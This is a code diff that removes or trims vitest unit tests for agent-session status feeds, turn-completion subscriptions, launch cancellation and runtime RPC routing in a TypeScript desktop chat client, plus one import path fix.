diff --git a/src/renderer/src/runtime/native-chat/status/structured-agent-session-status-feed.test.ts b/src/renderer/src/runtime/native-chat/status/structured-agent-session-status-feed.test.ts
index c71aefd9ac7..8780cdf5fc4 100644
--- a/src/renderer/src/runtime/native-chat/status/structured-agent-session-status-feed.test.ts
+++ b/src/renderer/src/runtime/native-chat/status/structured-agent-session-status-feed.test.ts
@@ -24,7 +24,6 @@ import {
   resetStructuredAgentSessionStatusFeedsForTests
 } from './structured-agent-session-status-feed'
 
-const REMOTE = { kind: 'environment', environmentId: 'env-1' } as const
 const LOCAL = { kind: 'local' } as const
 
 function summary(
@@ -51,68 +50,6 @@ function hostEmit(index = 0): (event: AgentSessionStatusEvent) => void {
 }
 
 describe('structured agent session status feed', () => {
-  it('orders naming observations without changing retained turns, Sleep or confirmation', async () => {
-    const feed = getStructuredAgentSessionStatusFeed(LOCAL)
-    const stop = feed.activate()
-    await vi.advanceTimersByTimeAsync(0)
-    const retained = {
-      ...summary('one'),
-      turnOutcome: 'interruption' as const,
-      permissionMode: 'plan',
-      model: 'model',
-      statusStartedAt: 2,
-      sleptAt: 3
-    }
-    hostEmit()({ type: 'status', session: retained })
-    const status = feed.getSnapshot()
-    const metadata = (conversationName: string) => ({
-      type: 'snapshot' as const,
-      sessions: [],
-      namingActiveSessionIds: [],
-      conversationNames: [{ sessionId: 'one', conversationName }]
-    })
-    hostEmit()(metadata('Before'))
-    expect(feed.getSnapshot()).toBe(status)
-    expect(feed.getSessionSleepState('one')).toBe(3)
-    expect(feed.getSessionSleepState('cold')).toBeUndefined()
-    expect(feed.getSessionObservation('cold')).toBe('unverifiable')
-    hostEmit()({
-      ...metadata('Before'),
-      conversationNames: [
-        {
-          sessionId: 'one',
-          conversationName: 'Before',
-          namingError: { message: 'Failed', failedAt: 1 }
-        }
-      ]
-    })
-    hostEmit()(metadata('Before'))
-    expect(feed.getNamingSnapshot().get('one')).not.toHaveProperty('namingError')
-    hostEmit()({
-      type: 'snapshot',
-      sessions: [retained],
-      conversationNames: JSON.parse('[null, {"sessionId":"one","conversationName":5}]')
-    })
-    expect(feed.getNamingSnapshot().get('one')?.conversationName).toBe('Before')
-    hostEmit()({ ...metadata('After'), sessions: [{ ...retained, conversationName: 'Stale' }] })
-    expect(feed.getNamingSnapshot().get('one')?.conversationName).toBe('After')
-    hostEmit()({ type: 'end' })
-    expect(feed.getSessionObservation('one')).toBe('unverifiable')
-    expect(feed.getNamingSnapshot().get('one')?.conversationName).toBe('After')
-    await vi.advanceTimersByTimeAsync(300)
-    hostEmit(1)({
-      ...metadata('Restarted'),
-      conversationNames: [
-        { sessionId: 'one', conversationName: 'Restarted' },
-        { sessionId: 'cold', conversationName: 'Cold' }
-      ]
-    })
-    expect(feed.getSessionObservation('one')).toBe('unverifiable')
-    expect(feed.getSessionObservation('cold')).toBe('unverifiable')
-    expect(feed.getSnapshot().get('one')).toMatchObject(retained)
-    stop()
-    expect(feed.getNamingSnapshot().get('one')?.conversationName).toBe('Restarted')
-  })
   beforeEach(() => {
     vi.useFakeTimers()
     vi.clearAllMocks()
@@ -126,44 +63,6 @@ describe('structured agent session status feed', () => {
     vi.useRealTimers()
   })
 
-  it('reconnects when the capability probe fails, which is not an answer', async () => {
-    mocks.supportsCapability.mockRejectedValue(new Error('relay unreachable'))
-    const feed = getStructuredAgentSessionStatusFeed(REMOTE)
-    feed.activate()
-
-    await vi.advanceTimersByTimeAsync(0)
-    expect(mocks.supportsCapability).toHaveBeenCalledTimes(2)
-
-    await vi.advanceTimersByTimeAsync(300)
-    expect(mocks.supportsCapability).toHaveBeenCalledTimes(4)
-    expect(mocks.subscribeStatus).not.toHaveBeenCalled()
-    expect(feed.getSessionSleepState('session-1')).toBeUndefined()
-    mocks.supportsCapability.mockResolvedValue(true)
-    await vi.advanceTimersByTimeAsync(500)
-    hostEmit()({ type: 'snapshot', sessions: [{ ...summary('session-1'), sleptAt: 5 }] })
-    expect(feed.getSessionSleepState('session-1')).toBe(5)
-  })
-
-  it('keeps Sleep unknown through naming metadata until the full status answer', async () => {
-    const feed = getStructuredAgentSessionStatusFeed(LOCAL)
-    feed.activate()
-    await vi.advanceTimersByTimeAsync(0)
-    const naming: AgentSessionStatusEvent = {
-      type: 'snapshot',
-      sessions: [],
-      namingActiveSessionIds: []
-    }
-    hostEmit()(naming)
-    expect(feed.getNamingActive('session-1')).toBe(false)
-    expect(feed.getSessionSleepState('session-1')).toBeUndefined()
-    hostEmit()({ type: 'snapshot', sessions: [{ ...summary('session-1'), sleptAt: 5 }] })
-    hostEmit()(naming)
-    expect(feed.getSessionSleepState('session-1')).toBe(5)
-    hostEmit()({ type: 'snapshot', sessions: [] })
-    expect(feed.getSessionSleepState('session-2')).toBeNull()
-    expect(feed.getSessionSleepState('session-1')).toBe(5)
-  })
-
   it('confirms sessions per connection and rejects late events from a disconnected stream', async () => {
     const feed = getStructuredAgentSessionStatusFeed(LOCAL)
     const deactivate = feed.activate()
@@ -188,31 +87,4 @@ describe('structured agent session status feed', () => {
     expect(feed.getSessionObservation('one')).toBe('unverifiable')
     expect(vi.getTimerCount()).toBe(0)
   })
-
-  it.each(['error', 'close', 'reject'] as const)(
-    'revokes confirmation on subscription %s',
-    async (failure) => {
-      let reject!: (error: Error) => void
-      mocks.subscribeStatus.mockImplementationOnce(
-        () =>
-          new Promise((_resolve, rejectPromise) => {
-            reject = rejectPromise
-          })
-      )
-      const feed = getStructuredAgentSessionStatusFeed(LOCAL)
-      feed.activate()
-      hostEmit()({ type: 'status', session: summary('one') })
-      expect(feed.getSessionObservation('one')).toBe('live')
-      if (failure === 'reject') {
-        reject(new Error('disconnected'))
-      } else {
-        mocks.subscribeStatus.mock.calls[0][failure === 'error' ? 2 : 3]()
-      }
-      await vi.advanceTimersByTimeAsync(0)
-      expect(feed.getSessionObservation('one')).toBe('unverifiable')
-      hostEmit()({ type: 'status', session: summary('one') })
-      expect(feed.getSessionObservation('one')).toBe('unverifiable')
-      expect(vi.getTimerCount()).toBe(1)
-    }
-  )
 })
diff --git a/src/renderer/src/runtime/native-chat/status/structured-agent-session-turn-completion-feed.test.ts b/src/renderer/src/runtime/native-chat/status/structured-agent-session-turn-completion-feed.test.ts
deleted file mode 100644
index 1e20fe3ff6a..00000000000
--- a/src/renderer/src/runtime/native-chat/status/structured-agent-session-turn-completion-feed.test.ts
+++ /dev/null
@@ -1,450 +0,0 @@
-// Keep completion/prompt edges live-only: no late snapshot, buffering or reconnect catch-up, which would mark already-read work unread again.
-
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type {
-  AgentSessionTurnCompletion,
-  AgentSessionTurnCompletionEvent
-} from '../../../../../shared/agent-session/view/agent-session-turn-completion-wire'
-import type { AgentSessionAttentionEdge } from '../../../../../shared/agent-session/agent-session-attention'
-
-const mocks = vi.hoisted(() => ({ subscribe: vi.fn(), supportsCapability: vi.fn() }))
-vi.mock('../requests/structured-agent-session-subscriptions', () => ({
-  subscribeStructuredAgentSessionTurnCompletions: mocks.subscribe
-}))
-vi.mock('../../rpc/compatibility/runtime-capability-proof', () => ({
-  runtimeEnvironmentSupportsCapability: mocks.supportsCapability
-}))
-
-import {
-  getStructuredAgentSessionTurnCompletionFeed,
-  resetStructuredAgentSessionTurnCompletionFeedsForTests,
-  structuredAgentSessionTurnCompletionFeedCountForTests as retainedCount
-} from './structured-agent-session-turn-completion-feed'
-
-function label(edge: AgentSessionAttentionEdge): string {
-  return edge.type === 'completion' ? edge.completion.turnId : `prompt:${edge.prompt.promptId}`
-}
-
-type Subscription = {
-  emit: (event: AgentSessionTurnCompletionEvent) => void
-  fail: (error: unknown) => void
-  close: () => void
-  unsubscribe: ReturnType<typeof vi.fn>
-}
-
-const subscriptions: Subscription[] = []
-
-function subscription(index = 0): Subscription {
-  const value = subscriptions[index]
-  if (!value) {
-    throw new Error(`missing subscription ${index}; opened ${subscriptions.length}`)
-  }
-  return value
-}
-
-function completion(turnId: string): AgentSessionTurnCompletion {
-  return {
-    scope: {
-      executionHostId: 'local',
-      wslDistro: null,
-      workspaceId: 'workspace-1',
-      workspaceKind: 'git-worktree'
-    },
-    sessionId: 'session-1',
-    turnId,
-    outcome: 'success',
-    completedAt: 1
-  }
-}
-
-function emitEdges(value: Subscription): void {
-  value.emit({ type: 'completion', completion: completion('turn-live') })
-  value.emit({
-    type: 'prompt',
-    prompt: {
-      scope: completion('unused').scope,
-      sessionId: 'session-1',
-      promptId: 'approval-live',
-      raisedAt: 1
-    }
-  })
-}
-
-function deferred<T>(): {
-  promise: Promise<T>
-  resolve: (value: T) => void
-  reject: (error: Error) => void
-} {
-  let resolve: (value: T) => void = () => {
-    throw new Error('not initialized')
-  }
-  let reject: (error: Error) => void = () => {
-    throw new Error('not initialized')
-  }
-  const promise = new Promise<T>((yes, no) => {
-    resolve = yes
-    reject = no
-  })
-  return { promise, resolve, reject }
-}
-
-describe('structured turn completion feed (renderer)', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    resetStructuredAgentSessionTurnCompletionFeedsForTests()
-    subscriptions.length = 0
-    mocks.subscribe.mockReset()
-    mocks.supportsCapability.mockReset()
-    mocks.supportsCapability.mockResolvedValue(true)
-    mocks.subscribe.mockImplementation(
-      (
-        _target: unknown,
-        emit: Subscription['emit'],
-        fail: Subscription['fail'],
-        close: Subscription['close']
-      ) => {
-        const unsubscribe = vi.fn()
-        subscriptions.push({ emit, fail, close, unsubscribe })
-        return Promise.resolve({ unsubscribe })
-      }
-    )
-  })
-
-  afterEach(() => {
-    resetStructuredAgentSessionTurnCompletionFeedsForTests()
-    vi.useRealTimers()
-  })
-
-  it('reconnects into an empty stream and never asks the host what it missed', async () => {
-    const feed = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' })
-    feed.activate()
-    const seen: string[] = []
-    feed.subscribe((edge) => seen.push(label(edge)))
-    await vi.advanceTimersByTimeAsync(0)
-    subscription().emit({ type: 'completion', completion: completion('before-drop') })
-
-    subscription().close()
-    await vi.advanceTimersByTimeAsync(5_000)
-    expect(subscriptions).toHaveLength(2)
-
-    // Assert target plus callbacks only; adding a catch-up cursor must break this contract.
-    for (const call of mocks.subscribe.mock.calls) {
-      expect(call).toHaveLength(4)
-      expect(call[0]).toEqual({ kind: 'local' })
-      expect(call.slice(1).every((argument) => typeof argument === 'function')).toBe(true)
-    }
-
-    // Reopened streams deliver only future edges; completions during the gap are lost.
-    expect(seen).toEqual(['before-drop'])
-    subscription(1).emit({ type: 'completion', completion: completion('after-reconnect') })
-    expect(seen).toEqual(['before-drop', 'after-reconnect'])
-  })
-
-  it('does not subscribe a remote host that lacks the capability, and does not retry it', async () => {
-    mocks.supportsCapability.mockResolvedValue(false)
-    const feed = getStructuredAgentSessionTurnCompletionFeed({
-      kind: 'environment',
-      environmentId: 'env-1'
-    })
-    let release = feed.activate()
-    queueMicrotask(() => {
-      release = feed.activate()
-    })
-    release()
-    await vi.advanceTimersByTimeAsync(30_000)
-
-    expect(mocks.subscribe).not.toHaveBeenCalled()
-    // An old host is a settled answer, not a fault; retrying would probe the relay forever.
-    expect(mocks.supportsCapability).toHaveBeenCalledTimes(1)
-    release()
-    await vi.advanceTimersByTimeAsync(0)
-    feed.activate()
-    await vi.advanceTimersByTimeAsync(0)
-    expect(mocks.supportsCapability).toHaveBeenCalledTimes(2)
-  })
-
-  it('stops the stream when the last activation is released and opens a fresh one on the next', async () => {
-    const feed = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' })
-    const release = feed.activate()
-    await vi.advanceTimersByTimeAsync(0)
-    const opened = subscription()
-
-    release()
-    await vi.advanceTimersByTimeAsync(0)
-    expect(opened.unsubscribe).toHaveBeenCalledTimes(1)
-
-    // A late frame from the torn-down stream reaches nobody.
-    const seen: string[] = []
-    feed.subscribe((edge) => seen.push(label(edge)))
-    opened.emit({ type: 'completion', completion: completion('after-stop') })
-    expect(seen).toEqual([])
-
-    feed.activate()
-    await vi.advanceTimersByTimeAsync(0)
-    expect(subscriptions).toHaveLength(2)
-  })
-
-  it.each(['activation-first', 'listener-first'] as const)(
-    'bounds distinct targets by live interest through %s cleanup and renewal',
-    async (order) => {
-      const held = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' })
-      let release = held.activate()
-      const seen: string[] = []
-      let unlisten = held.subscribe((edge) => seen.push(label(edge)))
-      const peer = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' })
-      const releasePeer = peer.activate()
-      const peerSeen: string[] = []
-      const unlistenPeer = peer.subscribe((edge) => peerSeen.push(label(edge)))
-      await vi.advanceTimersByTimeAsync(0)
-      for (let index = 0; index < 12; index += 1) {
-        getStructuredAgentSessionTurnCompletionFeed({
-          kind: 'environment',
-          environmentId: `lookup-${index}`
-        })
-        const feed = getStructuredAgentSessionTurnCompletionFeed({
-          kind: 'environment',
-          environmentId: `env-${index}`
-        })
-        const stop = feed.activate()
-        const edges: string[] = []
-        const off = feed.subscribe((edge) => edges.push(label(edge)))
-        await vi.advanceTimersByTimeAsync(0)
-        emitEdges(subscription(index + 1))
-        expect(edges).toEqual(['turn-live', 'prompt:approval-live'])
-        if (order === 'activation-first') {
-          stop()
-          off()
-        } else {
-          off()
-          stop()
-        }
-        await vi.advanceTimersByTimeAsync(0)
-        expect(subscription(index + 1).unsubscribe).toHaveBeenCalledTimes(1)
-        expect(retainedCount()).toBe(1)
-      }
-      expect(subscriptions).toHaveLength(13)
-      emitEdges(subscription())
-      expect(seen).toEqual(['turn-live', 'prompt:approval-live'])
-      expect(peerSeen).toEqual(seen)
-      releasePeer()
-      unlistenPeer()
-      await vi.advanceTimersByTimeAsync(0)
-      emitEdges(subscription())
-      expect(seen).toHaveLength(4)
-      expect(peerSeen).toHaveLength(2)
-      // Both main's independent effects and the combined release-first caller renew in one pass.
-      const oldRelease = release
-      const oldUnlisten = unlisten
-      if (order === 'activation-first') {
-        release()
-        unlisten()
-      } else {
-        unlisten()
-        release()
-      }
-      unlisten = peer.subscribe((edge) => seen.push(label(edge)))
-      release = held.activate()
-      oldRelease()
-      oldUnlisten()
-      await vi.advanceTimersByTimeAsync(0)
-      expect(subscriptions).toHaveLength(13)
-      expect(subscription().unsubscribe).not.toHaveBeenCalled()
-      emitEdges(subscription())
-      expect(seen).toHaveLength(6)
-      expect(peerSeen).toHaveLength(2)
-      release()
-      emitEdges(subscription())
-      await vi.advanceTimersByTimeAsync(0)
-      expect(seen).toHaveLength(6)
-      expect(retainedCount()).toBe(1)
-      expect(subscription().unsubscribe).toHaveBeenCalledTimes(1)
-      release = peer.activate()
-      await vi.advanceTimersByTimeAsync(0)
-      emitEdges(subscription(13))
-      expect(seen).toHaveLength(8)
-      unlisten()
-      release()
-      await vi.advanceTimersByTimeAsync(0)
-      expect(retainedCount()).toBe(0)
-      expect(vi.getTimerCount()).toBe(0)
-    }
-  )
-
-  it('scopes deduplicated listener disposers to their original registration', async () => {
-    const feed = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' })
-    feed.activate()
-    const listener = vi.fn()
-    const old = feed.subscribe(listener)
-    const duplicate = feed.subscribe(listener)
-    await vi.advanceTimersByTimeAsync(0)
-    emitEdges(subscription())
-    expect(listener).toHaveBeenCalledTimes(2)
-    old()
-    const fresh = feed.subscribe(listener)
-    old()
-    duplicate()
-    emitEdges(subscription())
-    expect(listener).toHaveBeenCalledTimes(4)
-    fresh()
-    emitEdges(subscription())
-    expect(listener).toHaveBeenCalledTimes(4)
-  })
-
-  it.each(['capability', 'open'] as const)(
-    'preserves queued %s progress and rejection retry across zero-activation renewal',
-    async (phase) => {
-      for (const reject of [false, true]) {
-        resetStructuredAgentSessionTurnCompletionFeedsForTests()
-        const probe = deferred<boolean>()
-        const opening = deferred<{ unsubscribe: () => void }>()
-        if (phase === 'capability') {
-          mocks.supportsCapability.mockReturnValueOnce(probe.promise)
-        } else {
-          mocks.subscribe.mockImplementationOnce((_target, emit, fail, close) => {
-            subscriptions.push({ emit, fail, close, unsubscribe: vi.fn() })
-            return opening.promise
-          })
-        }
-        const feed = getStructuredAgentSessionTurnCompletionFeed({
-          kind: 'environment',
-          environmentId: 'queued'
-        })
-        let release = feed.activate()
-        const seen: string[] = []
-        feed.subscribe((edge) => seen.push(label(edge)))
-        if (phase === 'open') {
-          await vi.advanceTimersByTimeAsync(0)
-        }
-        const start = subscriptions.length
-        const opened = { unsubscribe: vi.fn() }
-        if (reject) {
-          if (phase === 'capability') {
-            probe.reject(new Error('probe failed'))
-          } else {
-            opening.reject(new Error('open failed'))
-          }
-          // The rejection propagates through then before catch becomes continuation C.
-          await Promise.resolve()
-        } else if (phase === 'capability') {
-          probe.resolve(true)
-        } else {
-          opening.resolve(opened)
-        }
-        // Continuation C, renewal N, then final-release flush F.
-        queueMicrotask(() => {
-          release = feed.activate()
-        })
-        release()
-        await vi.advanceTimersByTimeAsync(0)
-        if (reject) {
-          expect(vi.getTimerCount()).toBe(1)
-          await vi.advanceTimersByTimeAsync(250)
-          expect(subscriptions).toHaveLength(start + 1)
-        } else {
-          expect(subscriptions).toHaveLength(start + (phase === 'capability' ? 1 : 0))
-          expect(opened.unsubscribe).not.toHaveBeenCalled()
-        }
-        emitEdges(subscription(subscriptions.length - 1))
-        expect(seen).toEqual(['turn-live', 'prompt:approval-live'])
-        release()
-        await vi.advanceTimersByTimeAsync(0)
-        if (!reject && phase === 'open') {
-          expect(opened.unsubscribe).toHaveBeenCalledTimes(1)
-        }
-        expect(vi.getTimerCount()).toBe(0)
-      }
-    }
-  )
-
-  it.each([
-    (value: Subscription) => value.emit({ type: 'end' }),
-    (value: Subscription) => value.fail(new Error('relay gone')),
-    (value: Subscription) => value.close()
-  ])('preserves terminal progress during grace and fences retired callbacks', async (drop) => {
-    const feed = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' })
-    let release = feed.activate()
-    const seen: string[] = []
-    let off = feed.subscribe((edge) => seen.push(label(edge)))
-    await vi.advanceTimersByTimeAsync(0)
-    const retired = subscription()
-    queueMicrotask(() => {
-      drop(retired)
-      emitEdges(retired)
-    })
-    queueMicrotask(() => {
-      release = feed.activate()
-    })
-    release()
-    await vi.advanceTimersByTimeAsync(250)
-    expect(subscriptions).toHaveLength(2)
-    expect(seen).toEqual([])
-    emitEdges(subscription(1))
-    expect(seen).toHaveLength(2)
-    release()
-    off()
-    await vi.advanceTimersByTimeAsync(0)
-    expect(retainedCount()).toBe(0)
-    release = feed.activate()
-    off = feed.subscribe((edge) => seen.push(label(edge)))
-    drop(retired)
-    emitEdges(retired)
-    await vi.advanceTimersByTimeAsync(5_000)
-    expect(subscriptions).toHaveLength(3)
-    emitEdges(subscription(2))
-    expect(seen).toHaveLength(4)
-    release()
-    off()
-  })
-
-  it('retires pending opens, probes and queued cleanup on reset without touching replacement entries', async () => {
-    const probe = deferred<boolean>()
-    mocks.supportsCapability.mockReturnValueOnce(probe.promise)
-    const remote = getStructuredAgentSessionTurnCompletionFeed({
-      kind: 'environment',
-      environmentId: 'late'
-    })
-    const releaseRemote = remote.activate()
-    releaseRemote()
-    await vi.advanceTimersByTimeAsync(0)
-    remote.activate()
-    probe.resolve(true)
-    await vi.advanceTimersByTimeAsync(0)
-    expect(subscriptions).toHaveLength(1)
-    const opening = deferred<{ unsubscribe: () => void }>()
-    mocks.subscribe.mockReturnValueOnce(opening.promise)
-    const held = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' })
-    const oldRelease = held.activate()
-    const listener = vi.fn()
-    const oldOff = held.subscribe(listener)
-    oldRelease()
-    resetStructuredAgentSessionTurnCompletionFeedsForTests()
-    const replacement = getStructuredAgentSessionTurnCompletionFeed({ kind: 'local' })
-    const releaseReplacement = replacement.activate()
-    const replacementListener = vi.fn()
-    const offReplacement = replacement.subscribe(replacementListener)
-    const release = held.activate()
-    const off = held.subscribe(listener)
-    const late = { unsubscribe: vi.fn() }
-    opening.resolve(late)
-    oldRelease()
-    oldOff()
-    releaseRemote()
-    await vi.advanceTimersByTimeAsync(0)
-    expect(late.unsubscribe).toHaveBeenCalledTimes(1)
-    expect(retainedCount()).toBe(1)
-    emitEdges(subscription(1))
-    expect(subscriptions).toHaveLength(2)
-    expect(listener).toHaveBeenCalledTimes(2)
-    expect(replacementListener).toHaveBeenCalledTimes(2)
-    release()
-    off()
-    emitEdges(subscription(1))
-    expect(listener).toHaveBeenCalledTimes(2)
-    expect(replacementListener).toHaveBeenCalledTimes(4)
-    releaseReplacement()
-    offReplacement()
-    await vi.advanceTimersByTimeAsync(0)
-    expect(retainedCount()).toBe(0)
-    expect(vi.getTimerCount()).toBe(0)
-  })
-})
diff --git a/src/renderer/src/runtime/native-chat/tab-retirement/structured-launch-cancel-layout-owner.test.ts b/src/renderer/src/runtime/native-chat/tab-retirement/structured-launch-cancel-layout-owner.test.ts
deleted file mode 100644
index 79214d38edc..00000000000
--- a/src/renderer/src/runtime/native-chat/tab-retirement/structured-launch-cancel-layout-owner.test.ts
+++ /dev/null
@@ -1,91 +0,0 @@
-import { markStructuredAgentSessionLaunchCancelled } from '@/lib/agent-session/launch/structured-agent-session-launch-cancel'
-// @vitest-environment happy-dom
-
-// Local layout-owner main records cancellation; paired hosts retain tombstones in either build.
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-
-import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
-
-import type { StructuredLaunchSlotOwner } from '@/lib/agent-session/launch/structured-agent-session-launch-slot'
-
-const mocks = vi.hoisted(() => ({
-  layoutOwnerIsMain: true,
-  closeSession:
-    vi.fn<(target: RuntimeClientTarget, sessionId: string) => Promise<'closed' | 'unsupported'>>(),
-  callRuntime:
-    vi.fn<(target: RuntimeClientTarget, method: string, params?: unknown) => Promise<unknown>>()
-}))
-
-vi.mock('../../../../../shared/layout-owner-switch', () => ({
-  get ORCA_LAYOUT_OWNER_IS_MAIN() {
-    return mocks.layoutOwnerIsMain
-  }
-}))
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-prompt', () => ({
-  discardStructuredAgentSessionChatSends: vi.fn()
-}))
-vi.mock('../requests/structured-agent-session-close', () => ({
-  closeStructuredAgentSession: mocks.closeSession
-}))
-vi.mock('../../rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc: mocks.callRuntime
-}))
-vi.mock('../../web-session-tabs-sync/closing/local-session-tab-close-owner', () => ({
-  withLocalSessionTabCloseOwner: async (_w: string, _t: string, close: () => Promise<unknown>) =>
-    close()
-}))
-vi.mock('../../rpc/targets/runtime-worktree-selector', () => ({
-  toRuntimeWorktreeSelector: (worktreeId: string) => `id:${worktreeId}`
-}))
-
-import {
-  hasStructuredAgentSessionLaunchCancellationTombstone,
-  resetStructuredAgentLaunchRegistryForTests
-} from '@/lib/agent-session/launch/structured-agent-session-launch-registry'
-import {
-  readStructuredAgentLaunchRecord,
-  resetStructuredAgentLaunchPersistenceForTests,
-  writeStructuredAgentLaunchRecord
-} from '@/lib/agent-session/launch/structured-agent-session-launch-persistence'
-import '@/lib/agent-session/launch/structured-agent-session-local-launch-cancel'
-
-const WORKTREE = 'repo-1::worktree-1'
-const SESSION = 'chat-1'
-const LOCAL: RuntimeClientTarget = { kind: 'local' }
-const layoutOwner: StructuredLaunchSlotOwner = {
-  unifiedTabsByWorktree: {},
-  groupsByWorktree: {},
-  reorderUnifiedTabs: vi.fn()
-}
-
-/** A launch whose create is still on its way to `executionHostId`. */
-
-beforeEach(() => {
-  vi.clearAllMocks()
-  localStorage.clear()
-  mocks.layoutOwnerIsMain = true
-  mocks.closeSession.mockResolvedValue('closed')
-  mocks.callRuntime.mockResolvedValue(undefined)
-  resetStructuredAgentLaunchRegistryForTests()
-  resetStructuredAgentLaunchPersistenceForTests()
-})
-
-describe('this machine, with main owning the layout', () => {
-  it('cancel after a reload, when only the saved launch is left: tells main and forgets it', () => {
-    writeStructuredAgentLaunchRecord({
-      sessionId: SESSION,
-      executionHostId: 'local',
-      agent: 'codex',
-      lifecycle: 'pending',
-      clientOperationId: 'operation-1',
-      payloadFingerprint: 'fingerprint-1',
-      expectedRuntimeFence: null
-    })
-
-    markStructuredAgentSessionLaunchCancelled(WORKTREE, SESSION, 'local', layoutOwner)
-
-    expect(mocks.closeSession).toHaveBeenCalledWith(LOCAL, SESSION)
-    expect(readStructuredAgentLaunchRecord(SESSION)).toBeUndefined()
-    expect(hasStructuredAgentSessionLaunchCancellationTombstone(WORKTREE, SESSION)).toBe(false)
-  })
-})
diff --git a/src/renderer/src/runtime/provider-accounts/ownership/use-active-account-owner.ts b/src/renderer/src/runtime/provider-accounts/ownership/use-active-account-owner.ts
index af1ca40eb3c..62cfdbdd09f 100644
--- a/src/renderer/src/runtime/provider-accounts/ownership/use-active-account-owner.ts
+++ b/src/renderer/src/runtime/provider-accounts/ownership/use-active-account-owner.ts
@@ -2,7 +2,7 @@ import { useMemo } from 'react'
 import { useAppStore } from '../../../store/index'
 import '../../../lib/workspace/ownership/worktree-runtime-owner'
 import '../../../lib/files/access/file-owner-runtime-target'
-import '../../../lib/resolved-worktree-execution-host'
+import '../../../lib/workspace/ownership/resolved-worktree-execution-host'
 import '../../rpc/targets/runtime-client-target'
 import {
   wslHostDistroForTarget,
diff --git a/src/renderer/src/runtime/rpc/calls/runtime-rpc-client.test.ts b/src/renderer/src/runtime/rpc/calls/runtime-rpc-client.test.ts
index 08b84741238..02734b3930c 100644
--- a/src/renderer/src/runtime/rpc/calls/runtime-rpc-client.test.ts
+++ b/src/renderer/src/runtime/rpc/calls/runtime-rpc-client.test.ts
@@ -5,11 +5,8 @@ import {
   clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests,
   clearRecentRuntimeCompatibilityFailure
 } from '../compatibility/runtime-compatibility-cache'
-import {
-  runtimeEnvironmentSupportsCapability,
-  runtimeEnvironmentSupportsCapabilities
-} from '../compatibility/runtime-capability-proof'
-import { createCompatibleRuntimeStatusResponse } from '../testing/runtime-compatibility-test-fixture'
+import { runtimeEnvironmentSupportsCapability } from '../compatibility/runtime-capability-proof'
+import '../testing/runtime-compatibility-test-fixture'
 import './runtime-rpc-result'
 import {
   MIN_COMPATIBLE_RUNTIME_CLIENT_VERSION,
@@ -38,29 +35,6 @@ beforeEach(() => {
 })
 
 describe('runtime RPC client routing', () => {
-  it('uses an abortable subscription for paired-runtime requests', async () => {
-    const controller = new AbortController()
-    const unsubscribe = vi.fn()
-    const entered = Promise.withResolvers<void>()
-    runtimeEnvironmentSubscribe.mockImplementation(async () => {
-      entered.resolve()
-      return { unsubscribe, sendBinary: vi.fn() }
-    })
-
-    const request = callRuntimeRpc(
-      { kind: 'environment', environmentId: 'env-1' },
-      'status.get',
-      undefined,
-      { signal: controller.signal }
-    )
-    await entered.promise
-    controller.abort()
-
-    await expect(request).rejects.toMatchObject({ name: 'AbortError' })
-    await vi.waitFor(() => expect(unsubscribe).toHaveBeenCalled())
-    expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-  })
-
   it('rejects an abortable paired-runtime request at the response deadline', async () => {
     vi.useFakeTimers()
     try {
@@ -89,55 +63,6 @@ describe('runtime RPC client routing', () => {
     }
   })
 
-  it('expires startup compatibility failures at the TTL boundary', async () => {
-    vi.useFakeTimers()
-    vi.setSystemTime(new Date(0))
-    try {
-      let statusCalls = 0
-      runtimeEnvironmentCall.mockImplementation(({ method }: { method: string }) => {
-        if (method === 'status.get') {
-          statusCalls += 1
-          if (statusCalls === 1) {
-            return Promise.resolve({
-              id: 'status',
-              ok: false,
-              error: { code: 'runtime_unavailable', message: 'offline' },
-              _meta: { runtimeId: 'remote-runtime' }
-            })
-          }
-          return Promise.resolve({
-            id: 'status',
-            ok: true,
-            result: {
-              runtimeId: 'remote-runtime',
-              graphStatus: 'ready',
-              runtimeProtocolVersion: RUNTIME_PROTOCOL_VERSION,
-              minCompatibleRuntimeClientVersion: MIN_COMPATIBLE_RUNTIME_CLIENT_VERSION
-            },
-            _meta: { runtimeId: 'remote-runtime' }
-          })
-        }
-        return Promise.resolve({
-          id: method,
-          ok: true,
-          result: { ok: true },
-          _meta: { runtimeId: 'remote-runtime' }
-        })
-      })
-      const target = { kind: 'environment', environmentId: 'env-ttl' } as const
-
-      await expect(
-        callRuntimeRpc(target, 'repo.list', undefined, { reuseRecentCompatibilityFailure: true })
-      ).rejects.toThrow('offline')
-      vi.setSystemTime(new Date(60_000))
-      await expect(
-        callRuntimeRpc(target, 'repo.list', undefined, { reuseRecentCompatibilityFailure: true })
-      ).resolves.toEqual({ ok: true })
-    } finally {
-      vi.useRealTimers()
-    }
-  })
-
   it('re-probes when a status success clears a still-pending compatibility probe', async () => {
     // Reachable status can overtake an offline probe still queued on the dead connection. Clear that pending probe so reuse calls start fresh without inheriting its late rejection.
     let rejectFirstStatus!: (error: Error) => void
@@ -193,40 +118,6 @@ describe('runtime RPC client routing', () => {
     await expect(pendingResult).resolves.toBe('rejected:stale connection closed')
   })
 
-  it('reads grouped capabilities consistently and observes an in-place host upgrade', async () => {
-    const old = createCompatibleRuntimeStatusResponse()
-    old.result.capabilities = ['settings.agent-launch.choices.v1']
-    runtimeEnvironmentCall
-      .mockResolvedValueOnce(old)
-      .mockResolvedValue(createCompatibleRuntimeStatusResponse())
-    await expect(
-      runtimeEnvironmentSupportsCapabilities('env-upgrade', [
-        'agent-session.create-options.v1',
-        'settings.agent-launch.choices.v1'
-      ])
-    ).resolves.toEqual([false, true])
-    await expect(
-      runtimeEnvironmentSupportsCapabilities('env-upgrade', [
-        'agent-session.create-options.v1',
-        'settings.agent-launch.choices.v1'
-      ])
-    ).resolves.toEqual([true, true])
-    await expect(
-      runtimeEnvironmentSupportsCapability('env-upgrade', 'agent-session.create-options.v1')
